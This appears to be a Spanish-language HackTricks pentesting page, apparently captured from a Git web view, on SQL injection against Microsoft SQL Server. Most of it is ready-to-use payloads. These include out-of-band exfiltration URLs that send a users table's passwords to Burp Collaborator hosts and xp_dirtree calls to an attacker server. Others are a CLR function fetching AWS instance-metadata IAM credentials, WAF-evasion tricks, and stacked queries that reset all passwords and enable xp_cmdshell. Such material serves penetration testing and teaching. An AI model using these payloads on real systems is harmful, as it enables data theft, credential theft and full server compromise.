hacktricks/pentesting-web/sql-injection/mssql-injection.md

256 lines
15 KiB
Markdown
Raw Normal View History

# Inyección MSSQL
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
2023-06-05 18:33:24 +00:00
Otras formas de apoyar a HackTricks:
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de GitHub de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>
## Enumeración de Active Directory
Puede ser posible **enumerar usuarios de dominio a través de inyección SQL dentro de un servidor MSSQL** utilizando las siguientes funciones de MSSQL:
2023-06-05 18:33:24 +00:00
* **`SELECT DEFAULT_DOMAIN()`**: Obtén el nombre del dominio actual.
* **`master.dbo.fn_varbintohexstr(SUSER_SID('DOMAIN\Administrator'))`**: Si conoces el nombre del dominio (_DOMAIN_ en este ejemplo), esta función devolverá el **SID del usuario Administrador** en formato hexadecimal. Esto se verá como `0x01050000000[...]0000f401`, nota cómo los **últimos 4 bytes** son el número **500** en formato **big endian**, que es el **ID común del usuario administrador**.\
Esta función te permitirá **conocer el ID del dominio** (todos los bytes excepto los últimos 4).
* **`SUSER_SNAME(0x01050000000[...]0000e803)`** : Esta función devolverá el **nombre de usuario del ID indicado** (si existe), en este caso **0000e803** en big endian == **1000** (usualmente este es el ID del primer ID de usuario regular creado). Entonces puedes imaginar que puedes forzar bruscamente los IDs de usuario desde 1000 hasta 2000 y probablemente obtener todos los nombres de usuario de los usuarios del dominio. Por ejemplo, utilizando una función como la siguiente:
2023-06-05 18:33:24 +00:00
```python
def get_sid(n):
domain = '0x0105000000000005150000001c00d1bcd181f1492bdfc236'
user = struct.pack('<I', int(n))
user = user.hex()
return f"{domain}{user}" #if n=1000, get SID of the user with ID 1000
2023-06-05 18:33:24 +00:00
```
## **Vectores alternativos basados en errores**
2023-06-05 18:33:24 +00:00
Las inyecciones SQL basadas en errores suelen parecerse a construcciones como `+AND+1=@@version--` y variantes basadas en el operador «OR». Las consultas que contienen tales expresiones generalmente son bloqueadas por los WAFs. Como método de evasión, concatena una cadena utilizando el carácter %2b con el resultado de llamadas a funciones específicas que desencadenan un error de conversión de tipo de datos en los datos buscados.
2023-06-05 18:33:24 +00:00
Algunos ejemplos de dichas funciones:
2023-06-05 18:33:24 +00:00
* `SUSER_NAME()`
* `USER_NAME()`
* `PERMISSIONS()`
* `DB_NAME()`
* `FILE_NAME()`
* `TYPE_NAME()`
* `COL_NAME()`
Ejemplo de uso de la función `USER_NAME()`:
```
https://vuln.app/getItem?id=1'%2buser_name(@@version)--
```
## SSRF
### `fn_xe_file_target_read_file`
```
https://vuln.app/getItem?id= 1+and+exists(select+*+from+fn_xe_file_target_read_file('C:\*.xel','\\'%2b(select+pass+from+users+where+id=1)%2b'.064edw6l0h153w39ricodvyzuq0ood.burpcollaborator.net\1.xem',null,null))
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/3.png)
**Permisos:** Requiere permiso **`VIEW SERVER STATE`** en el servidor.
2023-06-05 18:33:24 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
# Or doing
Use master;
EXEC sp_helprotect 'fn_xe_file_target_read_file';
```
### `fn_get_audit_file`
```
https://vuln.app/getItem?id= 1%2b(select+1+where+exists(select+*+from+fn_get_audit_file('\\'%2b(select+pass+from+users+where+id=1)%2b'.x53bct5ize022t26qfblcsxwtnzhn6.burpcollaborator.net\',default,default)))
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/2.png)
2023-06-05 18:33:24 +00:00
**Permisos:** Requiere el permiso **`CONTROL SERVER`**.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_get_audit_file';
```
### `fn_trace_gettable`
2023-06-05 18:33:24 +00:00
```
https://vuln.app/ getItem?id=1+and+exists(select+*+from+fn_trace_gettable('\\'%2b(select+pass+from+users+where+id=1)%2b'.ng71njg8a4bsdjdw15mbni8m4da6yv.burpcollaborator.net\1.trc',default))
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/1.png)
2023-06-05 18:33:24 +00:00
**Permisos:** Requiere el permiso **`CONTROL SERVER`**.
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='CONTROL SERVER';
# Or doing
Use master;
EXEC sp_helprotect 'fn_trace_gettabe';
```
### `xp_dirtree`, `xp_fileexists`, `xp_subdirs` <a href="#limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures" id="limited-ssrf-using-master-xp-dirtree-and-other-file-stored-procedures"></a>
El método más común para realizar una llamada de red que encontrará utilizando MSSQL es el uso del Procedimiento Almacenado `xp_dirtree`, que curiosamente no está documentado por Microsoft, lo que provocó que fuera [documentado por otras personas en Internet](https://www.baronsoftware.com/Blog/sql-stored-procedures-get-folder-files/). Este método se ha utilizado en [múltiples ejemplos](https://www.notsosecure.com/oob-exploitation-cheatsheet/) de publicaciones sobre [Exfiltración de Datos Fuera de Banda](https://gracefulsecurity.com/sql-injection-out-of-band-exploitation/) en Internet.
2023-06-05 18:33:24 +00:00
Esencialmente,
2023-06-05 18:33:24 +00:00
```sql
DECLARE @user varchar(100);
SELECT @user = (SELECT user);
2023-06-05 18:33:24 +00:00
EXEC ('master..xp_dirtree "\\'+@user+'.attacker-server\aa"');
```
Al igual que `LOAD_FILE` de MySQL, puedes usar `xp_dirtree` para hacer una solicitud de red **solo al puerto TCP 445**. No puedes controlar el número de puerto, pero puedes leer información de recursos compartidos de red.
2023-06-05 18:33:24 +00:00
**PS:** Esto no funciona en `Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64)` ejecutándose en un `Windows Server 2016 Datacenter` en la configuración predeterminada.
2023-06-05 18:33:24 +00:00
Hay **otros** procedimientos almacenados \*\*\*\* [**como `master..xp_fileexist`**](https://social.technet.microsoft.com/wiki/contents/articles/40107.xp-fileexist-and-its-alternate.aspx) o **`xp_subdirs`** que se pueden usar para obtener resultados similares.
2023-06-05 18:33:24 +00:00
### `xp_cmdshell` <a href="#master-xp-cmdshell" id="master-xp-cmdshell"></a>
2023-06-05 18:33:24 +00:00
Obviamente, también podrías usar **`xp_cmdshell`** para **ejecutar** algo que desencadene un **SSRF**. Para más información **lee la sección relevante** en la página:
2023-06-05 18:33:24 +00:00
{% content-ref url="../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/" %}
[pentesting-mssql-microsoft-sql-server](../../network-services-pentesting/pentesting-mssql-microsoft-sql-server/)
{% endcontent-ref %}
### MSSQL Función Definida por el Usuario - SQLHttp <a href="#mssql-user-defined-function-sqlhttp" id="mssql-user-defined-function-sqlhttp"></a>
2023-06-05 18:33:24 +00:00
Es bastante sencillo escribir una **CLR UDF** (Función Definida por el Usuario del Common Language Runtime - código escrito con cualquiera de los lenguajes **.NET** y compilado en un **DLL**) y **cargarla dentro de MSSQL para funciones personalizadas**. Sin embargo, **requiere acceso `dbo`** por lo que puede no funcionar a menos que la conexión de la aplicación web a la base de datos **sea como `sa` o con un rol de Administrador**.
2023-06-05 18:33:24 +00:00
[Este repositorio de Github tiene el proyecto de Visual Studio y las instrucciones de instalación](https://github.com/infiniteloopltd/SQLHttp) para cargar el binario en MSSQL como un ensamblado CLR y luego invocar solicitudes HTTP GET desde dentro de MSSQL.
2023-06-05 18:33:24 +00:00
El código `http.cs` utiliza la clase `WebClient` para realizar una solicitud GET y obtener el contenido como se especifica
2023-06-05 18:33:24 +00:00
```csharp
using System.Data.SqlTypes;
using System.Net;
public partial class UserDefinedFunctions
{
[Microsoft.SqlServer.Server.SqlFunction]
public static SqlString http(SqlString url)
{
var wc = new WebClient();
var html = wc.DownloadString(url.Value);
return new SqlString (html);
}
2023-06-05 18:33:24 +00:00
}
```
En las instrucciones de instalación, ejecute lo siguiente antes de la consulta `CREATE ASSEMBLY` para agregar el hash SHA512 del ensamblado a la lista de ensamblados confiables en el servidor (puede ver la lista utilizando `select * from sys.trusted_assemblies;`)
2023-06-05 18:33:24 +00:00
```sql
EXEC sp_add_trusted_assembly 0x35acf108139cdb825538daee61f8b6b07c29d03678a4f6b0a5dae41a2198cf64cefdb1346c38b537480eba426e5f892e8c8c13397d4066d4325bf587d09d0937,N'HttpDb, version=0.0.0.0, culture=neutral, publickeytoken=null, processorarchitecture=msil';
```
Una vez agregada la asamblea y creada la función, podemos ejecutar lo siguiente para realizar nuestras solicitudes HTTP
2023-06-05 18:33:24 +00:00
```sql
DECLARE @url varchar(max);
SET @url = 'http://169.254.169.254/latest/meta-data/iam/security-credentials/s3fullaccess/';
SELECT dbo.http(@url);
```
## **Explotación rápida: Recuperar una tabla completa en una consulta**
2023-06-05 18:33:24 +00:00
Existen dos maneras sencillas de recuperar el contenido completo de una tabla en una consulta — el uso de la cláusula FOR XML o la cláusula FOR JSON. La cláusula FOR XML requiere un modo especificado como «raw», por lo que en términos de brevedad FOR JSON la supera.
2023-06-05 18:33:24 +00:00
La consulta para recuperar el esquema, las tablas y las columnas de la base de datos actual:
2023-06-05 18:33:24 +00:00
```
https://vuln.app/getItem?id=-1'+union+select+null,concat_ws(0x3a,table_schema,table_name,column_name),null+from+information_schema.columns+for+json+auto--
2023-06-05 18:33:24 +00:00
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/5.png)
Los vectores basados en errores necesitan un alias o un nombre, ya que la salida de expresiones sin ninguno de los dos no puede formatearse como JSON.
2023-06-05 18:33:24 +00:00
```
https://vuln.app/getItem?id=1'+and+1=(select+concat_ws(0x3a,table_schema,table_name,column_name)a+from+information_schema.columns+for+json+auto)--
2023-06-05 18:33:24 +00:00
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/7.png)
2023-06-05 18:33:24 +00:00
## **Recuperando la consulta actual**
La consulta SQL actual que se está ejecutando se puede recuperar accediendo a `sys.dm_exec_requests` y `sys.dm_exec_sql_text`:
2023-06-05 18:33:24 +00:00
```
https://vuln.app/getItem?id=-1%20union%20select%20null,(select+text+from+sys.dm_exec_requests+cross+apply+sys.dm_exec_sql_text(sql_handle)),null,null
```
![](https://swarm.ptsecurity.com/wp-content/uploads/2020/11/9.png)
**Permisos:** Si el usuario tiene permiso VIEW SERVER STATE en el servidor, el usuario verá todas las sesiones en ejecución en la instancia de SQL Server; de lo contrario, el usuario solo verá la sesión actual.
2023-06-05 18:33:24 +00:00
```sql
# Check if you have it
SELECT * FROM fn_my_permissions(NULL, 'SERVER') WHERE permission_name='VIEW SERVER STATE';
```
## **Pequeños trucos para eludir WAF**
2023-06-05 18:33:24 +00:00
Caracteres de espacio en blanco no estándar: %C2%85 или %C2%A0:
2023-06-05 18:33:24 +00:00
```
https://vuln.app/getItem?id=1%C2%85union%C2%85select%C2%A0null,@@version,null--
2023-06-05 18:33:24 +00:00
```
Notación científica (0e) y hexadecimal (0x) para ofuscar UNION:
2023-06-05 18:33:24 +00:00
```
https://vuln.app/getItem?id=0eunion+select+null,@@version,null--
https://vuln.app/getItem?id=0xunion+select+null,@@version,null--
2023-06-05 18:33:24 +00:00
```
Un punto en lugar de un espacio en blanco entre FROM y el nombre de una columna:
```
https://vuln.app/getItem?id=1+union+select+null,@@version,null+from.users--
```
Separador \N entre SELECT y una columna de relleno:
2023-06-05 18:33:24 +00:00
```
https://vuln.app/getItem?id=0xunion+select\Nnull,@@version,null+from+users--
2023-06-05 18:33:24 +00:00
```
### Evasión de WAF con consultas apiladas no ortodoxas
Según [**este artículo de blog**](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/) es posible apilar consultas en MSSQL sin usar ";":
<figure><img src="../../.gitbook/assets/image (12).png" alt=""><figcaption></figcaption></figure>
Entonces, por ejemplo, múltiples consultas tales como:
```sql
use [tempdb]
create table [test] ([id] int)
insert [test] values(1)
select [id] from [test]
drop table[test]
```
Puede reducirse a:
```sql
use[tempdb]create/**/table[test]([id]int)insert[test]values(1)select[id]from[test]drop/**/table[test]
```
Por lo tanto, podría ser posible eludir diferentes WAFs que no consideran esta forma de apilar consultas. Por ejemplo:
```
# Adding a useless exec() at the end and making the WAF think this isn't a valid querie
admina'union select 1,'admin','testtest123'exec('select 1')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admina'union select 1,'admin','testtest123'
exec('select 1')--'
# Using weirdly built queries
admin'exec('update[users]set[password]=''a''')--
## This will be:
SELECT id, username, password FROM users WHERE username = 'admin'
exec('update[users]set[password]=''a''')--'
# Or enabling xp_cmdshell
admin'exec('sp_configure''show advanced option'',''1''reconfigure')exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
## This will be
select * from users where username = ' admin'
exec('sp_configure''show advanced option'',''1''reconfigure')
exec('sp_configure''xp_cmdshell'',''1''reconfigure')--
2023-06-05 18:33:24 +00:00
```
## Referencias
* [https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/](https://swarm.ptsecurity.com/advanced-mssql-injection-tricks/)
* [https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/](https://www.gosecure.net/blog/2023/06/21/aws-waf-clients-left-vulnerable-to-sql-injection-due-to-unorthodox-mssql-design-choice/)
2023-06-05 18:33:24 +00:00
<details>
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
2023-06-05 18:33:24 +00:00
* Si quieres ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Consigue el [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de github** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
2023-06-05 18:33:24 +00:00
</details>